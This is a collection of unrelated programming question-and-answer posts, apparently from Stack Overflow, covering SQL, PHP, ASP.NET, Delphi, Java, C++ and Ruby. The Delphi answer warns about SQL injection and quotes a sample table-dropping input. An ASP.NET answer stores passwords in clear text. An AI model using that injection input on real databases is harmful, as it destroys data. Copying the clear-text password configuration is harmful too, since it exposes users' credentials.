| <p>Two good projects that have fairly straight forward code are <a href="http://code.google.com/p/simplehttp/source/browse/#svn/trunk/server" rel="nofollow">simplehttp</a> and <a href="http://code.google.com/p/libevent-longpolling/" rel="nofollow">libevent-longpolling</a></p>
<p>Two spots i can point you to in order to answer this question in general are to search google code search for <a href="http://www.google.com/codesearch?q=evhttp.h" rel="nofollow">evhttp.h</a> (or a similar libevent header file) or to search code.google.com for <a href="http://code.google.com/hosting/search?q=label:libevent" rel="nofollow">label:libevent</a></p>
|
Summarise unlimited sequence using constant storage <p>Assume we're frequently sampling a particular value and want to keep statistics on the samples. The simplest approach is to store every sample so we can calculate whatever stats we want, but this requires unbounded storage. Using a constant amount of storage, we can keep track of some stats like minimum and maximum values. What else can we track using only constant storage? I am thinking of percentiles, standard deviation, and any other useful statistics.</p>
<p>That's the theoretical question. In my actual situation, the samples are simply millisecond timings: profiling information for a long-running application. There will be millions of samples but not much more than a billion or so. So what stats can be kept for the samples using no more than, say, 10 variables?</p>
| <p>Minimum, maximum, average, total count, variance are all easy and useful. That's 5 values.
Usually you'll store sum and not average, and when you need the average you can just divide the sum by the count. </p>
<p>So, in your loop</p>
<pre><code>maxVal=max(x, maxVal);
minVal=min(x, minVal);
count+=1;
sum+=x;
secondorder+=x*x;
</code></pre>
<p>later, you may print any of these stats. Mean and standard deviation can be computed at any time and are:</p>
<pre><code>mean=sum/count;
std=sqrt(secondorder/count - mean*mean);
</code></pre>
<p>Median and percentile estimation are more difficult, but possible. The usual trick is to make a set of histogram bins and fill the bins when a sample is found inside them.
You can then estimate median and such by looking at the distribution of those bin populations.
This is only an <strong>approximation</strong> to the distribution, but often enough. To find the exact median, you must store all samples. </p>
|
How to unlock an sqlite3 db? <p>OMG!</p>
<p>What an apparent problem... my django based scripts have locked my sqlite db...</p>
<p>Does anyone know how to fix?</p>
| <p>Your database is locked because you have a transaction running somewhere. </p>
<p>Stop all your Django apps. If necessary, reboot.</p>
<p>It's also remotely possible that you crashed a SQLite client in the middle of a transaction and the file lock was left in place.</p>
|
Delete with Join in MySQL <pre><code>CREATE TABLE `clients` (
`client_id` int(11),
PRIMARY KEY (`client_id`)
);
CREATE TABLE `projects` (
`project_id` int(11) unsigned,
`client_id` int(11) unsigned,
PRIMARY KEY (`project_id`)
);
CREATE TABLE `posts` (
`post_id` int(11) unsigned,
`project_id` int(11) unsigned,
PRIMARY KEY (`post_id`)
);
</code></pre>
<p>In my PHP code, when deleting a client, I want to delete all projects' posts:</p>
<pre><code>DELETE
FROM posts
INNER JOIN projects
ON projects.project_id = posts.project_id
WHERE projects.client_id = :client_id;
</code></pre>
<p>The posts table does not have a foreign key <code>client_id</code>, only <code>project_id</code>. I want to delete posts that are posted in projects that have the passed <code>client_id</code>.</p>
<p>This is not working right now (no posts are deleted).</p>
| <p>You just need to specify that you want to delete the entries from the <code>posts</code> table:</p>
<pre><code>DELETE posts
FROM posts
INNER JOIN projects ON projects.project_id = posts.project_id
WHERE projects.client_id = :client_id
</code></pre>
<p>EDIT: For more information you can see <a href="http://stackoverflow.com/a/29204958/214545">this alternative answer</a></p>
|
What's the best client architecture for Flash Remoting communicating with ASP.Net? <p>We have found the combination of ASP.Net as a server backend and Adobe Flash for the User Interface to be an excellent marriage.</p>
<p>Up until now we have used Javascript as the communication conduit between the two technologies. This has worked well, however we want to be able to pass objects back and forth rather than just string variables and we also want better performance.</p>
<p>There are a number of methods you can use to communicate:</p>
<ul>
<li>Javascript </li>
<li>Web Services (supported properly in MX, not in CS3, not sure about CS4) </li>
<li>Flash Remoting </li>
<li>others?</li>
</ul>
<p>My research has indicated that Flash Remoting is the best performer. </p>
<p>On the server you need to provide a remoting gateway (Flash Remoting ($999 USD), FluorineFx, WebORB, AMF.Net).</p>
<p>What is the best way to use remoting from the client? </p>
<p>The problem lies in that the Flash remoting libraries don't seem to be very good or well supported. They were in MX, not in CS3, not sure about CS4 yet. </p>
<p>Flex apparently has excellent remoting support, however we love the ability to make a freeform UI in flash and not be restricted to Flex Controls. I have seen suggestions of embedding flash swf's in flex - but am reluctant to introduce another layer. I have not used Flex extensively so I may be missing something here.</p>
<p>Has anyone had any experience in this area? Should I try and embed my swf in flex? Or does CS4 provide good enough remoting support?</p>
<p>Thanks.</p>
<p>Bobby - That's a good idea. JSON might do the trick. </p>
<p>cliff.meyers - We are already using fluorine on the server. The problem lies in using Flash (NOT Flex) on the client (see above), and Flash's lack of good support for remoting.</p>
| <p>Have you tried building a Web Service serving up JSON? I would try that and see how it suits your needs before going the Flash Remoting route.</p>
|
How can I asynchronously add items to a Native Context Menu in Adobe AIR? <p>Once a Native Context Menu is invoked, I need it to be populated from a set of remote service calls.
Current implementation, however, requires items to be set before opening the menu.</p>
<p>Any ideas?</p>
<p>Thanks ;)
A</p>
| <p>EDIT: I've once again re-read your question and realized that you want to update a menu while you are opening it, not before it is opened. There is another event you can listen for called <a href="http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/display/NativeMenu.html#event:displaying" rel="nofollow">displaying</a> but in the test I've done with my HTML/JS test app it seemed that event did not fire. If you are using Flex you could investigate that, or figure out if I've done something wrong here:</p>
<pre><code> window.htmlLoader.contextMenu = new air.NativeMenu();
menu1 = new air.NativeMenu();
loading=new air.NativeMenuItem("Loading...");
menu1.addItem(loading);
menu1.addEventListener(air.Event.DISPLAYING, addMenu1Items);
function addMenu1Items(){
menu1.removeItem(loading);
item11 = new air.NativeMenuItem("Item 1");
item11.addEventListener(air.Event.SELECT, function(e){alert("You clicked Menu 1,Item 1");e.preventDefault();});
item12 = new air.NativeMenuItem("Item 2");
item12.addEventListener(air.Event.SELECT, function(e){alert("You clicked Menu 1,Item 2");e.preventDefault();});
menu1.addItem(item11);
menu1.addItem(item12);
}
</code></pre>
<p>I've just done a test with an HTML / Javascript app, and the following seems to work for me ( shamelessly ripped and modified from: <a href="http://www.adobe.com/devnet/air/ajax/quickstart/adding_menus.html" rel="nofollow">http://www.adobe.com/devnet/air/ajax/quickstart/adding_menus.html</a> and if you happen to be using Flex, there's a version for that as well: <a href="http://www.adobe.com/devnet/air/flex/quickstart/adding_menus.html" rel="nofollow">http://www.adobe.com/devnet/air/flex/quickstart/adding_menus.html</a> ).</p>
<pre><code><html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Context</title>
<script src="lib/air/AIRAliases.js" language="JavaScript" type="text/javascript"></script>
<script type="text/javascript">
window.htmlLoader.contextMenu = new air.NativeMenu();
menu1 = new air.NativeMenu();
item11=new air.NativeMenuItem("Item 1");
item11.addEventListener(air.Event.SELECT,function(e){alert("You clicked Menu 1,Item 1");e.preventDefault();});
item12=new air.NativeMenuItem("Item 2");
item12.addEventListener(air.Event.SELECT,function(e){alert("You clicked Menu 1,Item 2");e.preventDefault();});
menu1.addItem(item11);
menu1.addItem(item12);
menu2 = new air.NativeMenu();
item21=new air.NativeMenuItem("Item 1");
item21.addEventListener(air.Event.SELECT,function(e){alert("You clicked Menu 2,Item 1");e.preventDefault();});
item22=new air.NativeMenuItem("Item 2");
item22.addEventListener(air.Event.SELECT,function(e){alert("You clicked Menu 2,Item 2");e.preventDefault();});
menu2.addItem(item21);
menu2.addItem(item22);
window.htmlLoader.contextMenu.addSubmenu(menu1,"Menu 1");
window.htmlLoader.contextMenu.addSubmenu(menu2,"Menu 2");
//Displays the context menu
function showContextMenu(event){
event.preventDefault();
window.htmlLoader.contextMenu.display(window.nativeWindow.stage, event.clientX, event.clientY);
}
function addItemToContextMenu(){
menux = new air.NativeMenu();
item=new air.NativeMenuItem("Item &1");
item.addEventListener(air.Event.SELECT,function(e){alert("You clicked Menu X,Item 1");e.preventDefault();});
menux.addItem(item);
menux.addItem(new air.NativeMenuItem("Item &2"));
window.htmlLoader.contextMenu.addSubmenu(menux,"Menu X");
}
function clearAndAdd() {
window.htmlLoader.contextMenu = new air.NativeMenu();
addItemToContextMenu();
}
</script>
</head>
<body id="body">
<div id="contextDiv" oncontextmenu="showContextMenu(event)">
Right click to bring up the context menu.<br><br>
<input type="button" value="Add Item To Context Menu" onclick="addItemToContextMenu()"><input type="button" value="Clear Menu and Add Item to Context Menu" onclick="clearAndAdd();">
</div>
</body>
</html>
</code></pre>
|
Having problems inserting and updating tables in a database with prepared statements <p>Very new to PHP5 and have some problems still. I figured out how to Select with prepared statements now trying to insert/update my code is as follows </p>
<pre><code>function input_lab_results($name, $image, $descrip) {
$query = "INSERT INTO pat_table (pat_name, pat_image, pat_descrip, pat_doctor, pat_resident, pat_create, pat_modify) VALUES (?, ?, ?, ?, ?, ?, ?)";
if($stmt = $this->conn->prepare($query)){
$stmt->bind_param('sssiidd', $name, $image, $descrip, 0, 0, date("Ymd"), date("Ymd"));
$stmt->execute();
die();
} else{
die($this->conn->error);
}
}
</code></pre>
<p>The error I am getting is</p>
<blockquote>
<p>Fatal error: Cannot pass parameter 4 by reference html/classes/mySQL.php on line 43</p>
</blockquote>
<p>Any help/references would be appreciated. Thank you.</p>
<hr>
<p>Everyone is mentioning using PDO, do you guys have any good tutorials or examples of this please?</p>
| <p>I changed it to </p>
<pre><code>function input_lab_results($name, $image, $descrip) {
$query = "INSERT INTO pat_table (pat_name, pat_image, pat_descrip, pat_doctor, pat_resident, pat_create, pat_modify) VALUES (?, ?, ?, 0, 0, ?, ?)";
if($stmt = $this->conn->prepare($query)){
$stmt->bind_param('sssdd', $name, $image, $descrip, date("Ymd"), date("Ymd"));
$stmt->execute();
die();
} else{
die($this->conn->error);
}
}
</code></pre>
<p>Basically I changed where it was reading the ?? for the integer to 0 in the query I didn't bind it.</p>
|
'System.Web.Security.SqlMembershipProvider' requires a database schema compatible with schema version '1' <p>I want to use profiles and was able to use aspent_regsql -A p to install the tables. I can see them throughout SQL management studio. </p>
<p>I'm actually using SQLExpress 2005, and my dbo.aspnet_SchemaVersions is populated. Does anybody know what could be going wrong?</p>
<p>By the way, I'm pretty sure my connection string and app code are all right.
Thanks in advance.</p>
<p>
</p>
<p></p>
<pre><code><system.web>
<membership>
<providers>
<remove name="AspNetSqlMembershipProvider" />
<add name="AspNetSqlMembershipProvider"
type="System.Web.Security.SqlMembershipProvider,
System.Web, Version=2.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a"
connectionStringName="RGConnectionString" />
</providers>
</membership>
<profile>
<providers>
<add name="ProfileProvider" type="System.Web.Security.SqlProfileProvider,
System.Web, Version=2.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a"
connectionStringName="RGConnectionString"/>
</providers>
</code></pre>
| <p>Well, fool of me. I was quite sure it was a problem with SQLExpress database but it was actually my <code>web.config</code> file that was totally weird. I got it to work by adding the correct properties to the providers:</p>
<pre><code> <connectionStrings>
<add name="RGConnectionString"
connectionString="Data Source=(local)\SQLExpress;Initial Catalog=aspnetdb;Integrated Security=true"
providerName="System.Data.SqlClient" />
</connectionStrings>
<system.web>
<membership>
<providers>
<remove name="AspNetSqlMembershipProvider" />
<add name="AspNetSqlMembershipProvider"
type="System.Web.Security.SqlMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
connectionStringName="RGConnectionString"
enablePasswordRetrieval="true"
enablePasswordReset="true"
requiresQuestionAndAnswer="true"
requiresUniqueEmail="true"
passwordFormat="Clear"
maxInvalidPasswordAttempts="5"
minRequiredPasswordLength="8"
minRequiredNonalphanumericCharacters="0"
passwordAttemptWindow="10"
passwordStrengthRegularExpression=""
applicationName="/" />
</providers>
</membership>
<profile>
<providers>
<add name="ProfileProvider"
type="System.Web.Profile.SqlProfileProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
connectionStringName="RGConnectionString"
applicationName="/" />
</providers>
</profile>
</system.web>
</code></pre>
|
Idea: Embed data/DSLs in Java as comments and generate Java code with APT <p>I had an idea and I wanted to run it by you to get some feedback. Please look the following over and let me know what you think, whether it's positive or negative.</p>
<p>I've always wished that there was a way to embed certain pieces of data in Java code without having to follow Java's rules all the time. I've heard a lot of talk about Domain Specific Languages lately (DSLs) and how it would be great if we could utilize them more on a daily basis. I think I have an idea of how to do this in a reasonably elegant way.</p>
<p>Here are some examples of things that I know of that are a pain to represent in Java code (and other C-like languages) that I want this to solve:</p>
<p>List of short strings as string array</p>
<pre><code>String[] ar = { "Item1", "Item2", "Item3", "Item4" };
</code></pre>
<p>List of long strings as string array</p>
<pre><code>String[] ar = { "The quick brown\n fox jumped over\n the lazy dog.",
"The quick brown\n fox jumped over\n the lazy dog.",
"The quick brown\n fox jumped over\n the lazy dog.",
"The quick brown\n fox jumped over\n the lazy dog.", };
</code></pre>
<p>Table of strings as multi-dimensional string array:</p>
<pre><code>String[][] ar = { { "InvoiceID", "Date", "SubTotal", "Tax", "Total" },
{ "1", "1/2/2009", "300, "21", "321" },
{ "2", "1/4/2008", "100", "7", "107" },
{ "3", "1/6/2008", "200", "14", "214" } };
</code></pre>
<p>List of key-value pairs</p>
<pre><code>Map states = new HashMap();
states.add("FL", "Florida");
states.add("OH", "Ohio");
states.add("GA", "Georgia");
states.add("NY", "New York");
states.add("SC", "South Carolina");
</code></pre>
<p>HTML code single string</p>
<pre><code>String html = "<a href=\"www.somesite.com\">Some site</a>";
</code></pre>
<p>HTML text block with decent text formatting</p>
<pre><code>String html = "Hi, John,\r\n<br>\r\n<br>Thank you for writing to us. We do not currently carry that specific product.\r\n<br>\r\n<br>Regards,\r\n<br>";
</code></pre>
<p>I've investigated the following described solution a bit and I believe it's possible to create a usable library that would allow you to achieve this elegantly. In Java 5 and 6 there is something called the Annotation Processor Tool (APT) (not the same as Debian APT). You create your own source code processor, which will be called as the code is being compiled to give you the opportunity to rewrite the source code. After rewriting the code it is compiled as usual.</p>
<p>The following must be done to make use of APT:
1. Put this library's jar on the ANT classpath.
2. Put this library's jar on the project classpath.
3. Call the apt task instead of javac and add the preprocessdir parameter to specify where the generated files must be placed.</p>
<p>The DSL code can be placed inside a comment right after the variable where the result of the code will be placed. When the processor runs it can look forward in the code for the next comment, extract the code, run it through the processor, generate the code and do the compile.</p>
<p>Here is the list again, this time with what it could look like:</p>
<p>List of short strings as string array</p>
<pre><code>@DslTextArray
String[] ar = null; /* Item1, Item2, Item3, Item4 */
</code></pre>
<p>List of long strings as string array</p>
<pre><code>@DslMultilineTextArray
String[] ar = null;
/*
The quick brown
fox jumped over
the lazy dog.
The quick brown
fox jumped over
the lazy dog.
The quick brown
fox jumped over
the lazy dog.
The quick brown
fox jumped over
the lazy dog.
*/
</code></pre>
<p>Table of strings as multi-dimensional string array or JTable:</p>
<pre><code>@DslTextTable
String[][] ar = null;
/*
InvoiceID,Date,SubTotal,Tax,Total
1,1/2/2009,300,21,321
2,1/4/2008,100,7,107
3,1/6/2008,200,14,214
*/
</code></pre>
<p>List of key-value pairs</p>
<pre><code>@DslMap
Map states = null; /* FL=Florida, OH=Ohio, GA=Georgia, NY=New York, SC=South Carolina */
// Could also put each pair on a new line
</code></pre>
<p>HTML code single string</p>
<pre><code>@DslText
String html = null; /* <a href="www.somesite.com">Some site</a> */
</code></pre>
<p>HTML text block with decent text formatting</p>
<pre><code>@DslText
String html = null;
/*
Hi, John,
Thank you for writing to us. We do not currently carry that specific product.
Regards,
Mike
*/
</code></pre>
<p>Some requirements/features I can think of for this solution:</p>
<p>You must declare the variable to hold the data that the script will generate in the Java source code. This allows the rest of the source code to know about the resulting data even though the compiler doesn't know where it's coming from.</p>
<ul>
<li>Must not violate the Java language so that the IDE and javac do not show errors.</li>
<li>Work with all the existing Java code you have. No need to replace any existing code. Just add these snippets wherever you like.</li>
<li>Must be easily extensible with additional types.</li>
<li>Must be able to later make extensions to IDE's that allow for source-code highlighting and auto-completion.</li>
<li>Translations occur at compile-time so valid Java code must be generated.</li>
<li>Convert to String and String[] for things like lists, multi-line text blocks such as CSS, SQL</li>
<li>Convert and encode XML, HTML</li>
<li>When code is rewritten retain the same line numbers. Do not add any lines so that debugging and reading errors does not become a pain.</li>
<li>Run code written in any BSF language at runtime. Allow it to pass any parameter to the script and return any Java class or primitive back to Java.</li>
<li>Run code written in any BSF language at compile-time to generate Java source code. Similar to how M4 is used on Linux.</li>
<li>Later: Allow you to chain together the String results from many calls to build a long string. Some if it may be compile-time, some of it run-time. </li>
</ul>
<p>Again, I would really appreciate getting some feedback on this. Is this a stupid idea? Is there something like this out there already? Would you bother using something like this or should I just keep it to myself?</p>
| <p>I would use the the google collections api now part of the guava libraries <a href="http://code.google.com/p/guava-libraries/" rel="nofollow">http://code.google.com/p/guava-libraries/</a> it has awesome list and map support. It support the kind of constructs your trying to achieve </p>
<pre><code>public static final ImmutableList<Color> GOOGLE_COLORS
= new ImmutableList.Builder<Color>()
.addAll(WEBSAFE_COLORS)
.add(new Color(0, 191, 255))
.build();
</code></pre>
|
Best way to create a sitesearch in ASP.NET <p>Which is the best way to create a site search engine for a dynamic asp.net site with hundreds of dynamic pages. I have seen many products and articles </p>
<p><a href="http://www.karamasoft.com/UltimateSearch/overview.aspx" rel="nofollow">http://www.karamasoft.com/UltimateSearch/overview.aspx</a></p>
<p><a href="http://www.sitesearchasp.net" rel="nofollow">http://www.sitesearchasp.net</a></p>
<p><a href="http://www.easysearchasp.net/" rel="nofollow">http://www.easysearchasp.net/</a></p>
<p><a href="http://msdn.microsoft.com/en-us/magazine/cc163355.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/magazine/cc163355.aspx</a></p>
<p><a href="http://www.codeproject.com/KB/asp/indexserver.aspx" rel="nofollow">http://www.codeproject.com/KB/asp/indexserver.aspx</a></p>
| <p>Priyan,</p>
<p>Another high-quality open-source option would be the .NET port of Lucene </p>
<ul>
<li><p><a href="http://www.codeproject.com/KB/library/IntroducingLucene.aspx" rel="nofollow">CodeProject - Introducing Lucene</a></p></li>
<li><p><a href="http://www.dotlucene.net" rel="nofollow">dotlucene</a></p></li>
<li><p><a href="http://incubator.apache.org/lucene.net" rel="nofollow">lucene.net</a></p></li>
</ul>
<p>You haven't mentioned Google's <a href="http://www.google.com/sitesearch/" rel="nofollow">SiteSearch</a> "product". Is one of your requirements that you'd like to host the search engine/catalog yourself?</p>
<p>Microsoft also has a product <a href="http://www.microsoft.com/enterprisesearch/serverproducts/searchserverexpress/default.aspx" rel="nofollow">Search Server 2008 Express</a> although I'm not sure if you can install it on any hosting provider.</p>
<p>And (disclaimer: I am the author) there is also a <em>very basic</em> open source project on <a href="http://www.codeproject.com/KB/IP/Searcharoo%5F7.aspx" rel="nofollow">CodeProject called Searcharoo</a> (also at <a href="http://searcharoo.net" rel="nofollow">searcharoo.net</a>). It is really meant as a 'demonstration/learning experience' - hence the six <em>how to</em> articles - but it might suffice for a small dynamic site.</p>
<p>I have used SQL Server Full Text Search for some projects - works well but it's really just searching <strong>database content</strong>, not a combination of static and dynamic Html/Pdf/Word/Jpg etc documents which a "real" web crawler will do.</p>
|
How do you POST to a page using the PHP header() function? <p>I found the following code on <a href="http://php.net/manual/en/function.header.php#89447">here</a> that I think does what I want, but it doesn't work:</p>
<pre><code>$host = "www.example.com";
$path = "/path/to/script.php";
$data = "data1=value1&data2=value2";
$data = urlencode($data);
header("POST $path HTTP/1.1\r\n");
header("Host: $host\r\n");
header("Content-type: application/x-www-form-urlencoded\r\n");
header("Content-length: " . strlen($data) . "\r\n");
header("Connection: close\r\n\r\n");
header($data);
</code></pre>
<p>I'm looking to post form data without sending users to a middle page and then using JavaScript to redirect them. I also don't want to use GET so it isn't as easy to use the back button.</p>
<p>Is there something wrong with this code? Or is there a better method?</p>
<p><strong>Edit</strong> I was thinking of what the header function would do. I was thinking I could get the browser to post back to the server with the data, but this isn't what it's meant to do. Instead, I found a way in my code to avoid the need for a post at all (not breaking and just continuing onto the next case within the switch).</p>
| <p>The header function is used to send HTTP response headers back to the user (i.e. you cannot use it to create request headers.</p>
<p>May I ask why are you doing this? Why simulate a POST request when you can just right there and then act on the data someway? I'm assuming of course script.php resides on your server.</p>
<p>To create a POST request, open a up a TCP connection to the host using fsockopen(), then use fwrite() on the handler returned from fsockopen() with the same values you used in the header functions in the OP. Alternatively, you can use cURL.</p>
|
Equivalence of <limits> and <climits> <ol>
<li><p>Is this guaranteed to be always true:</p>
<pre><code>std::numeric_limits<int>::max() == INT_MAX
</code></pre>
<p>What does C++ standard say about it? I could not find any reference in the standard that would explicitly state this, but I keep reading that those should be equivalent.</p></li>
<li><p>What about C99 types that are not in C++98 standard for compilers that implement both C99 (at least <code>long long</code> part) and C++98? I am not sure whether there is any guarantee that this always holds true:</p>
<pre><code>std::numeric_limits<unsigned long long>::max() == ULLONG_MAX
</code></pre>
<p>Is this a reasonable assumption?</p></li>
</ol>
| <p>My copy of the C++ 2003 standard says that the <code>numeric_limits<>::max()</code> and <code>min()</code> templates will return values:</p>
<blockquote>
<p>Equivalent to <code>CHAR_MIN, SHRT_MIN, FLT_MIN, DBL_MIN,</code> etc.</p>
<p>Equivalent to <code>CHAR_MAX, SHRT_MAX, FLT_MAX, DBL_MAX,</code> etc</p>
</blockquote>
<p>However, those are in footnotes. ISO/IEC Directives Part 3: "[Footnotes] shall not contain requirements." Though footnotes to tables or figures may be requirements.</p>
|
advantages of .net over java in Intranet <p>Our company has an intranet with 30,000+ web pages and 160+ web applications. This is being used by 5000+ employees.</p>
<p>We also have internet with 150+ Web applications and 100+ websites. Both the internet and Intranet is 7+ years and they run on classic ASP.</p>
<p>Recently some <strong>"Technical Architects"</strong> came up with a wonderful idea of migrating from ASP to JAVA and as a result projects which would normally take 2/3 months is taking 6/9 months in java. The reason for this is we have 100s of custom made VB components which are reusable and java team is finding it difficult to migrate all those and they are taking lot of time.</p>
<p>Out of 160+ web applications in intranet, most of them are not available to everyone. Meaning we have a VB component which is used to check the logged in user and allows entry to the particular application. We also have permission management page which allows us to add / remove users to applications (just like ASP memebership control). </p>
<p>I want to show the management that it is easy to move the intranet application to .net by using the .net membership control and "Windows Authenticaion" is better.</p>
<p>Can you help me gather some advantages of using .net for an intranet when compared to java keeping in mind that our existing applications are windows based.</p>
<p>I have gathered some points afetr reading similar questions in SO. But I need some more specific to intranet.</p>
<p><strong>Note:</strong> I am not here for an argument about java and .net. java is a wonderful language but looking at <a href="http://phonghao.wordpress.com/2008/08/20/should-you-use-net-or-java-on-a-new-project/" rel="nofollow">these factors to consider before migration</a> its crystal clear that its better to migrate our applications to .net but my "tech architetcs" are taking a wrong decision.</p>
| <p>This is very situation dependent. In your situation, if it is as you described, the decision to go to Java was not very well thought through. You obviously have a large investment in the Microsoft stack. I don't think there is a compelling reason to drop all of your legacy code and go through all this pain just to go to Java. </p>
<p>I may get flamed but it is not as if you get that much more power from Java than .NET to justify this kind of pain. I think your current code investment is enough reason to continue with the Microsoft stack. You can interoperatte with COM and all of these things much easier from .NET. Although, admittedly, you would have larger code changes even in going to .NET. It would be an easier challenge though; a lot of your code could live alongside the new .NET code; you would just have to do some work to manage things like Session and all of that.</p>
|
Automating Internet Explorer <p>Can anyone offer any suggestions for "something" that an end-user could use to put together macros that automate some CRM forms in Internet Explorer?</p>
<ul>
<li>I was originally going to suggest iMacro, but then found out<br />
(i) they only have Internet Explorer and<br />
(ii) to make things even worse, it's version 6 :-(</li>
<li>it has to be fairly simple, so I can't suggest something like <code>WATIN</code></li>
<li>but the forms on the page are not very complicated: type some text in, select from a list, click the submit button</li>
</ul>
<p>Cheers,
SteveC.</p>
| <p>How about <a href="http://seleniumhq.org/" rel="nofollow">Selenium</a>?</p>
|
Delphi ClientDataset Read-only <p>I am currently testing with:</p>
<ol>
<li>A SQLConnection which is pointed towards an IB database. </li>
<li>A SQLDataset that has a SQLConnection field set to the one above. </li>
<li>A DatasetProvider that has the SQLDataset in (2) as its Dataset field value. </li>
<li>A ClientDataset, with the ProviderName field pointing to the provider in (3). </li>
</ol>
<p>I use the following method (borrowed from Alister Christie) to get the data...</p>
<pre><code>function TForm1.GetCurrEmployee(const IEmployeeID: integer): OleVariant;
const
SQLSELEMP = 'SELECT E.* FROM EMPLOYEE E WHERE E.EMPLOYEEID = %s';
begin
MainDM.SQLDataset1.CommandText := Format(SQLSELEMP, [Edit1.Text]);
Result := MainDM.DataSetProvider1.Data;
end;
</code></pre>
<p>Which populates the DBGrid with just one record. However, when I manually edit the record, click on Post, then try to commit the changes, using</p>
<pre><code>MainDM.ClientDataset1.ApplyUpdates(0); // <<<<<<
</code></pre>
<p>It bombs, with the message "SQLDataset1: Cannot modify a read-only dataset."</p>
<p>I have checked the ReadOnly property of the Provider, and of the ClientDataset, and the SQL has no joins.</p>
<p>What could be causing the error?</p>
| <p>It appears that your ClientDataSet.Data property is being populated from the Data property of the DataSetProvider. With the setup you described, you should be able to simply call ClientDataSet.Open, which will get the data from the DataSetProvider.</p>
<p>BTW, the default behavior of the DataSetProvider when you call the ClientDataSet.ApplyUpdates method is to send a SQL query to the connection object, and not the DataSet from which the data was obtained (assuming a homogeneous query). Make sure that your DataSetProvider.ResolveToDataSet property is not set to true.</p>
<p>Finally, on an unrelated note, your code above appears to be open to a SQL injection attack (though I have not tested this). It is safer to use a parameter to define the WHERE clause. If someone enters the following into Edit1 you might be in trouble (assuming the InterBase uses the drop table syntax): 1;drop table employee;</p>
|
Equivalent to exclamation mark for method names from ruby in other languages <p>In Ruby, methods with side effects or methods that change the object passed as parameters have "!" as a postfix.</p>
<p>For example:</p>
<p><code>"SomeString".gsub!(/S/, "s")</code><br/>
would be changing the String object, while<br/>
<code>"SomeString".gsub(/S/, "s")</code><br/>
would work on a copy of the String object, and would not change the state of any objects outside of the method.</p>
<p>I like this convention, and I'd like to use it when programming in other languages, too.</p>
<p>My question:
<li> Do real Ruby programmers (I'm not one;-)) actually use this convention? If not, why not?
<li> Are there equivalent conventions for naming methods in Java, PHP, Perl, Cobol...?
</p>
| <p>Bang methods are not intended to mean "changing the receiver".</p>
<p><a href="http://www.wobblini.net/bang.txt">http://www.wobblini.net/bang.txt</a></p>
<p>As you can see, Matz intended them to mean "more dangerous than the version without an exclamation mark". Just a general FYI, seeing most of the answers so far mentions changing the receiver.</p>
|
Perforce as integration and build server on w2k3x64? <p>We are in the process of migrating from TFS 2005 to Perforce and moving to more Simple TDD type process for our software. Do you have any resources for setting Perforce up as an intergation and build server? </p>
<p>Looked at this question <a href="http://stackoverflow.com/questions/419181/build-management-continous-integration-best-practices">http://stackoverflow.com/questions/419181/build-management-continous-integration-best-practices</a></p>
<p>which also links to Martin Fowler on CI
<a href="http://www.martinfowler.com/articles/continuousIntegration.html" rel="nofollow">http://www.martinfowler.com/articles/continuousIntegration.html</a>. </p>
<p>My question is specifically around Perforce with MSBuild on W2k3 x64.</p>
| <p>Perforce isnt a integration or build server, it simple plays the role of a source repository for the CI process. So for your CI tool (if its MSBuild, Hudson, CruiseControl etc) its important to have an adapter (a perforce adapter) to get the most recent changes from the repository. The adapter should be configurable (URL, username, pass etc) and thats it with Perforce and CI.</p>
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.